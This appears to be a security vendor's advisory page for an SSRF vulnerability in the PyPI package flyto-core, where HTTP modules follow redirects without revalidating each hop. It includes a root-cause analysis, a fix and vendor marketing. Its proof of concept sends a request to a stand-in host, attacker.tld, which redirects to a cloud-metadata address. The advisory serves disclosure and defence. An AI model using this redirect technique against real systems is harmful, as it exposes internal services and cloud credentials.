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GHSA-c9hr-64h3-gxpc

HIGH

GHSA-c9hr-64h3-gxpc is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in flyto-core. O3 Security confirms whether GHSA-c9hr-64h3-gxpc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation

Also known asCVE-2026-67424
Published
Jul 30, 2026
Updated
Jul 30, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍flyto-core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.

Root Cause

src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.

Impact

Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.

Proof of Concept

Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.

attacker hosts http://attacker.tld/r  ->  302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}

Attack Chain

  1. Entry: execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.
  2. Sink: session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.
  3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).

Bypass Evidence

Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.

Affected Versions

<= 2.26.6get.py:116, request.py:60, batch.py:57 present on latest release tag.

Suggested Fix

Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.

Credit

Vulnerability discovered by zx (Jace).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIflyto-coreall versions2.26.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flyto-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update flyto-core to 2.26.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c9hr-64h3-gxpc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-c9hr-64h3-gxpc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c9hr-64h3-gxpc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The HTTP modules that DO call the SSRF guard (`http.get`, `http.request`, `http.batch`) validate only the initial URL, then issue the request with aiohttp's default `allow_redirects=True` and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body. ## Root Cause `src/core/modules/atomic/http/get.py:116` calls `session.get(url, ...)` with no `allow_redirects` argument → aiohttp default `True`. `request.
O3 Security · Impact-Aware SCA

Is GHSA-c9hr-64h3-gxpc in your dependencies?

O3 detects GHSA-c9hr-64h3-gxpc across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.